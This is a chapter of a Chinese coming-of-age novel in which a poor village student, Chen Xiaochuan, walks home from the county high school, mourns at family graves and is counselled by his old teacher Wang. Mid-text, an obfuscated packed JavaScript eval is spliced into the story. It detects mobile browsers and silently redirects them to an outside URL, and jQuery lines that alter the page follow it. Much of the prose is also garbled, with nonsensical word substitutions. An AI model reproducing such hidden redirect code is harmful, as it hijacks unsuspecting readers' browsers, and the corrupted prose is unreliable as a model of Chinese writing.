第十章：故土难离(2004-2005)
县城里的日子是一部高速运转的机器，每一个部件，每一个螺丝钉，似乎都是为了“高考”这个庞大的目标而疯狂 地、不疲倦地转动着。这座县城中学，就像这台机器的核心，吞吐着从四面八方汇聚而来的乡村少年，将他们投入到一场激烈的升级锻造中。高中部的学习强度比初高中翻了几倍不止，课程高度陡然拔高，作业姿势如山，平常压得人喘不过气来。考试更是接踵而至，仿佛永无止境，而那张高悬在教学楼门口的红名单，密密麻麻地列着每个人的名字和分数，就像一阵悬在所有学生头顶的达摩克利斯之剑，提醒时刻着竞争的残酷和淘汰的冰冷。
陈小川，这个从大山深处、从马壳脑村走出来的孩子，三年前被命运推入这座县城，如今已是高中部的一员。他凭借着过人的勤奋和聪慧，在这股洪流中站稳定了脚跟，逐渐适应了这里的节奏，学习成绩一直名列前茅茅，是老师们眼中品学兼优的“好苗子”。然而，无论他在这里取得了多少的进步，堡垒得有多深，他的内心深处，总有一个地方在无声地吸引着他，那就是马脑壳村，那贫瘠却填充了他生命最初印记的故乡。
对于县城里的大多数同学来说，周末和假期是他们生活的调剂，是放松休息、享受天伦的。他们可以在周五下午放学后，轻快地跑出校门，钻进父母已等候在外面的车里回来，舒适整洁的家中。那里有父母准备的可口饭菜，有自己的房间和柔软的床铺，有可以一起出去的朋友，或者只是可以懒洋洋地睡个饱觉，消磨时光。那是一种属于“家”的温暖和安逸。
但对于陈小川来说，周末和假期，是又一场艰辛旅程的开始。他在县城没有一个他、可以随时重新回来的“家”。他住的学校，所有的生活、所有的物品，都被压缩了那里的饥饿和杂杂的集体宿舍里。冰冷的铁架床，疲惫的书桌，以及来自天南地北、口音各异的舍友的低语和鼾声，构成了他在县城的大部分记忆。他真正的家，在他的故乡，在那个遥远而静默的大山深处，需要他跋涉山涉水，恍惚体力与时间才能如此。
从县城回马脑壳村的路，是一段名副其实的“故土难离”之旅。他需要先乘坐县城到镇上的大巴车，那是一种老旧的柴油车，轰隆作响，于是里边总是弥漫着柴油味、汗味和各种说不清的混合味。贝路通常需要两个多小时，颠簸在并不顶层的公路上，将他的思绪从县城的课本和习题中抽出来，一点点拉大山的废墟。
在车上，在马脑壳村的车站，他便开始了真正的“回家路”——徒步。从镇子通往马脑壳村的机耕道，在他小学的时候，在政府镇的号召和接下来的努力就已经修通了，那是马脑壳村连接着最重要的生命线。然而，在这样深山腹地，任何人工的遗迹都难以抵挡完成的任务。连绵不断的洪水会冲路刷基，冬季的冰雪使路面变得湿滑泥甚至开裂，夏季突发的山洪更加可能直接冲损一段路面。虽然村里人偶尔会自发地组织起来修复，用石块填坑洼，用柴刀清理草，但路面依然大部分崎不平，脚地方有些坑洼左右，一踩可能下去就是半条则腿深的泥水；有些地方被疯长的野草和藤蔓覆盖，几乎看不出路的形状。
大概步行的路程大约有十几公里，对于一个常年劳作的山民来说，也许两三个小时就可以走。但对于一个长期在教室里完成学习、身体虽然还算坚固但并不算强壮的少年，这绝对是一个不小的考验。不过，无论多累，无论天气如何，他每次回家，都坚持选择徒步走完路。他不是没有其他选择，偶尔镇上就要去村里收山货或者送日用品的货车或者拖拉机，看到他一个学生会主动提出捎他一段话，但他婉言谢绝，脸上带着一丝腼腆的笑容。
他喜欢这样一步一步地走，用自己的双脚去丈量故乡的土地，感受它突出的、沉静而有力的脉搏。每一步落下，都仿佛与这片土地进行一次深刻的对话。他背着一个洗得发白、边角已经疲惫的画布书包，里面是他全部部分的行囊：几件洗得发硬、带着一些肥皂的旧衣服，母亲临终前留下的那支温润的木发簪，老陈留下的那把虽然已卷刃却沉甸甸的木刀，还有在县城捡到的旧报纸或者从学校图书馆借阅的、他渴望阅读的课外书。
他沿着那条熟悉的机耕道向上攀爬，渐渐远离镇子的喧嚣和尘嚣。其他的人声、车鸣声被风点点吹散，取而代之的是山谷里特有的、纯粹的声音——清脆的鸟鸣声在林间回响，不知名的虫子在草丛里低语，风吹过森林的虹发出沙沙的耳语，以及他自己沉重而富有节奏的脚步声。
山路是崎岖的，有时候需要手脚并用才能爬上陡峭的坡段，有时候需要小心翼翼地绕过弓方留下的大小石块和治疗。他的腿逐渐酸化了，好像灌了铅，脚底也很长时间行走和不平的地面得生疼，但他从不抱怨。每当感到疲惫的时候，他就停下磨来，靠在路边的树干上，大口地喘气，让山风吹过他的脸庞，带走汗水和病人。在这一路上，他的内心会逐渐平静下来，仿佛进行了一场自我净化的仪式。县城里学习的压力、同学间的微妙关系、生活中的各种烦恼和困惑，那些沉重的东西，都仿佛被抛在了身上，一点点融化在这即将到来的沉默的山林之中。他呼吸着山里特有的、带着肤色、腐叶和草木清澈的香空气，感受着身体被紧张到紧张又到某种程度紧张的。
这条路对他来说，不仅仅是物理上的旋律，更是精神上的回归，是一条通往内心深处和记忆彼岸的小径。他走过的每一段路，都象一个记忆的触发点，勾起他无数童年的回忆。他记得小时候和村里的孩子在这里打，摔倒在泥地里哈哈大笑；记得老陈背着沉甸甸的猎物，步履沉重却背脊挺直地走在这条路上，汗水湿透了他的衣衫；记得母亲牵着他，手牵着手，一步一个脚印地去镇上赶集，回来时虽然疲惫不堪，脸部却带着满足的笑容。这条曲折的山路，留下了他童年清浅的脚印，也深深地刻下了他至亲的汗水和轮廓。
几个小时后，当他走过最后一条山梁时，马脑壳村那熟悉的终于出现在视野中时，陈小川的心情总是复杂的，像打翻了五个味瓶。村子还是那个村子，低矮的土坯房错落有致地布散在山坡上，午后的阳光下，几缕稀疏的炊烟从屋顶升起，门口有几个大象的孩童，看见他走近，会好奇地停下动作张望。有几户人家显然重建了房子，用上了红砖和水泥，突兀而新潮；村里多了几辆一辆卡车，停在院子里；但更多的是一种挥之不去的敝感——年轻的劳动力依然大量地外出务工，村子里留下来的大多是老人和孩子，目光有些冷清。故乡在缓慢地、不确定地变化着，这种变化既让他感到一丝对未来的微弱希望，也让他感到更多的惆怅和无可奈何。
回到村里，陈小川已经不属于他自己的家了。老陈去世后，他们的那间简陋的土坯房顿时彻底荒废了，没人居住，没人打理。现在，屋顶已经陷入了一半，墙壁倾斜开裂，屋前的院子长满了齐膝深的杂草，已成为一片令人心痛的残垣断壁。他偶尔会回到旧屋前，站在那片废墟前，久久凝视。风吹过野草发出沙沙的声音，仿佛在低语着岁月的无情。中闪过曾经在这里生活的无数片段——母亲在灶台前整理的身影，老陈在院子里修工具的背影，他自己在屋里读书写下的场景……那些鲜活的记忆与眼前冰冷的废墟形成了强烈的对视他的童年，他的家，那个曾经给他温暖和安全感的港湾，都随着时间的逝去和亲人的离去，变成了一片荒凉的废墟和模糊、却又刺痛人心的回忆。
他在村里暂住的表舅家。村里人对他还是很好，知道他一个人在县城读书不容易，总是尽力照顾他，给他提供住所和简单的饭菜，好像他还是需要被照料的孩子。他们会多打一些饭菜，让他多吃一点，给他倒热水洗澡，会表现出寒问暖。但陈小川不会过多地打扰别人。他总是主动发起帮亲戚家干活，像个小大人一样承担起家里的体力活：清晨起劈柴生火，帮忙做饭；到河边挑水，水桶压得肩膀生疼；跟着表舅下地干活，拔草、施肥、收割；晚上还要帮忙洗碗、收拾院子。他几乎承受了所有的体力活，希望能用自己的劳动来回报他们的好意，减轻他们的负担。吃饭的时候，他也会尽量控制自己的食量，不是吃不饱，而是自己吃得太多，给本来就不宽裕的亲戚家增加额外的负担。
村子的第一件事，无论回到当天的路途有多紧张，无论到达村子时天色有多晚，陈小川都会放下书包，径直走向屋后那棵高大的柿子树下，去和老母亲陈的坟前。的照料下，长得越来越好，枝繁叶茂，夏天的时候瘫痪那两座孤零零的坟头昔日烈日，带来阴凉；屁股结出满树金黄的柿子，虽然大多酸涩，却寄托着一种生命的挽救和希望。
他会在坟前默默地站一会儿，看着那两座已经有些陷陷的、被野草覆盖的土堆，看着那块刻着老陈名字的、已经有些风化的简陋木板。他用手轻轻地碰着木牌冰冷的表面，感受着那横跨生死的联系。风吹过柿子树的网络，发出沙沙的响声，仿佛是母亲和老陈在低语中开始回应，又仿佛是他们在叹息着岁月的无情。然后，他会像对着活着的亲人一样，盘腿坐在坟前，倾诉自己在县城的一切，那些只有在这里，他根本无法挽回的话。
他讲述自己在学校里学到的新知识，那些让他惊叹世界豁然开朗的物理作用，那些让他着迷、穿越时空的历史故事，那些他努力掌握的、拗口的英语单词。他会讲自己在考试中取得的好成绩，给老师讲他的表扬，讲出他对县城中学的尊敬和友谊。他讲得眉飞色舞，语气里充满了对知识的渴望和对未来的憧憬，仿佛老陈和母亲真的在地下静静地听着，为他取得的每一个微小的进步感到高兴、感到自豪。
他也可以讲自己在县城遇到的困难和烦恼，讲学习上的巨大压力，讲同学间不经意的竞争和攀比，讲他有时普遍的来自城乡的差异带来了微妙的歧视和偏见。但他会轻描淡写，用一种已经习惯了的、得有些超然的语气讲述这些。他不想让他们担心，他要知道他们，他已经长大了，足够坚强，能够独自面对外面的世界，处理好自己的事情。他让他们放心。
他坐在坟前，从书包里说出母亲的木发簪和老陈的木刀，轻轻地、重复地反复擦拭。木发簪在手温润光滑，还仿佛带着母亲手心的温度和临终前握住他的手时留下的嘱托；木刀虽然沉重，带着老陈沉默的、山一那样坚固的力量和对家人的守护。它们是他与过去连接的唯一实体纽带，也是他在艰难获取力量的无形源泉的时刻。每一次接触，每一次摩挲，都让他得到一种来自血脉深处的支持和爱意，让他不觉得孤独，不觉得绝望。
他会坐在坟前很久，直到天色逐渐暗下来，山谷里升起湿冷的伪雾气，直到山风吹过，带来一抹透骨的凉意。这里是他灵魂的归宿，是他心灵唯一平静的港湾。在坟前，他不得不在县城死去装起来的坚强和从容，可以坦然地面对自己的脆弱和对亲人的锥心思念。他想念母亲的温柔，想念老陈沉默却充满力量的陪伴，想念那个虽然贫困、虽然简陋，但有他们在，就是完整、温暖的家。
在陈小川高中的这段时间里，远在镇上小学教书的王老师依然
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15825374|175499||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有忘记这个来自马脑壳村、他一手带出来的优秀学生。虽然教学任务繁重，但每个学期或者寒暑假，只要有时间，他总会抽出一天，甚至三天，徒步沿着那条崎戒的山路，来到马脑壳探村望小川。他知道小川一个人在县城求学很简单，心里总是深深地牵挂着他。
王老师每次来，都会给小川带来一些他需要的书籍、学习资料，偶尔还会带一些衣物或者食物，比如几个鸡蛋，一块腊肉，或者一袋自家种的花生。他知道小川的生活费非常严格地认为，每一分钱都要掰成两半花，这些物质上的帮助虽然不多，但却能在关键时刻让小川的燃眉之急，让他受到一份远方的温暖和支持。
王老师和小川会坐在亲戚家的子里，或者村子外乡静的大石头上，或者在柿子树下，安静地关心聊天。王老师总是先先了解小川的学习情况，仔细询问他学校在院里有没有遇到什么困难，学习上有没有跟不上的地方。他会耐心地听小川讲述他在县城的生活，那些新奇的事情，那些让他困惑的事情，然后给出一些中肯的建议和指导。
但更重要的是，王老师会在精神上给予小川巨大的鼓励和支持。他知道小川背负着沉重的过去，背负着改变命运的巨大期望，前进的道路上充满艰辛和诱惑。他经常用自己的经历或者书本上的故事来启发小川，告诉他知识的力量，告诉他坚持的意义。
“小川啊，”王老师语重心长地说，他的声音虽然温和，但却充满力量，“你在县城中学，在那样激烈的竞争中，还能保持这样好的成绩，这已经证明了你的能力，证明了你是块读书的料。你是山里的孩子，山里的人最能吃苦，最有坚韧的劲。把这些努力当练就自己的机会，它们会让你未来变得更加强大。不要因为别人的眼光、因为暂时的困难而动摇，你的价值不是由别人来规定的，不是由你穿什么衣服，吃什么来决定的，而是由你自己创造的，由你的努力和你的品德来的决定。
王老师也经常叮嘱小川要保持初心，不要被幼儿的诱惑所动摇，不要忘记来时的路。
“外面的世界很精彩，也很复杂，”王老师提醒他，“你在县城看到了许多新的事物，将来如果你能考上大学，上了更大的城市，会看到更多，也会遇到更多。有很多诱惑，很多让你眼花缭乱的选择。你要清楚地知道，什么对你来说最重要。你的目标是学习，是用知识改变自己的命运，是未来能够独立地、有能力地生活，是未来能够回报那些帮助过你的人。不要忘记你的根在哪里，不要忘记你为什么离开大山。那些帮助过你的人，包括远在县城的林先生他们，是看重你的潜力和你的品德。所以，守住你的本心，这一点比取得多大的成就更重要。”
“林先生依然一直在资助你，”王老师总是会特别强调这一点，“这是多大的恩情啊。你用你的实际行动来回报他，用你的优秀来证明他的善意没有错付。将来你成功了，还要记得那些曾经帮助过你的人，尽你的能力去帮助更多需要帮助的人。这叫守信，守住心中的良善，把道路光明和温暖传递下去，照亮更多的人。”
小川认真地听着王老师的每句话，用力地点头。他知道，王老师不仅是他的老师，更是他生命中的一位重要引路人，一位精神上的父亲。王老师的话，就像一座屹立不倒的灯塔，在他迷茫或者动摇的时候，总重申他指明了方向。他知道，王老师的担心不是没有道理的，县城已经有很长一段时间了。多他从未见过、让他新奇甚至有些手足无措的东西了，更不用说未来可能去自己的更大城市。但他觉得有信心，他心里有母亲临终前的叮嘱，有老陈沉默却充满力量的爱，有林叔叔无私的恩情，有王老师循循善诱的教导，这些都是他坚守本心、抵御诱惑、勇敢前行的力量源泉。
在村里待的日子总是短暂而珍贵的。周末很快就结束了，或者是经过的寒暑假也因此尾声，他又告别故乡，告别熟悉的不得不亲人，回到那个属于他的战场——县城中学。
离家那天，总是早早地来到母亲和老陈的坟前，再次向他们告别。他把坟前的杂草仔细地清理干净，用手轻轻地抚平坟头的他，默默地讲一些告别，就像小时候家去上赶集前镇一然后，他会深深地看着那两座坟头，瞥一眼那棵繁茂的柿子树，将故乡的悼念深深地烙印在心底。他背上书包，感觉书包里另外装着课本和简单的行李，更装着甸甸的责任、期望和思念。
走出村口的时候，他总是会忍不住坦然凝视。马脑壳渐渐远去，淹没在连绵起伏的青山之中，变成了一个空间点，最终消失在视线里。他的眼里充满了不舍和眷恋，但更多的是一种清晰的、不容置疑的坚定。他知道自己为什么离开，知道离开的代价是什么，更知道自己自己为什么要回去，要回到那个充满竞争和挑战的环境中。他用知识改变自己的命运改变，自己贫困的事实上，去未来，他甚至希望能够用自己学到的知识和能力，为马脑壳村带来一些真正的改变，让故乡不再那么贫穷和遗憾，让留守在那里的亲人能够过上更好的生活。
他将故乡的一切，唤起亲人的刻思念，将王老师的谆谆叮咛，将恩人的无私善意，都深深地埋藏在心底，化作一股强大而持久的骨力。然后，他转过身，迈开坚定的脚步，沿着那条无数次走过、刻满了回忆和汗水的崎戒机耕道，走向镇上，走向县城，走向他的学业，走向那个充满未知和挑战的未来。他的背影在山路上渐渐远去，目光瘦削却挺拔，带着对故土的眷恋，也带着对梦想和未来的执着追求，每一步都踏得坚定而有力，回声在山谷中久久回荡。